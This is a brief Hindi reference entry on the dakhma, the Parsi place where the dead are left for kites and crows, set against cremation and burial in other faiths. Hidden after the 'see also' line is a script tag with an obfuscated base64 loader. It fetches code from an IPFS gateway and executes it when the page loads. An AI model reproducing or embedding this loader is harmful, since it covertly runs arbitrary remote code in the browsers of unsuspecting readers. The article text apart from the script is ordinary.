दखमा  

दखमा पारसियों के शव रखने के स्थान को कहा जाता है, जहाँ से शव को चील और कौवे खा जाते हैं।


विशेष- हिंदुओं के यहां सब जलाए जाते हैं-( जलंत), मुसलमानों और ईसाईयों के यहां शव गाड़ दिए जाते हैं-(गड़ंत) और पारसियों के यहां शव को दखमा स्थान पर रख देते हैं, जहां से चील और कौवे शव को खा जाते हैं-(उड़ंत)[१]


इन्हें भी देखें: ज़रथुष्ट्र, जेंदावेस्ता एवं शाहनामा<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 564, परिशिष्ट 'ङ' |

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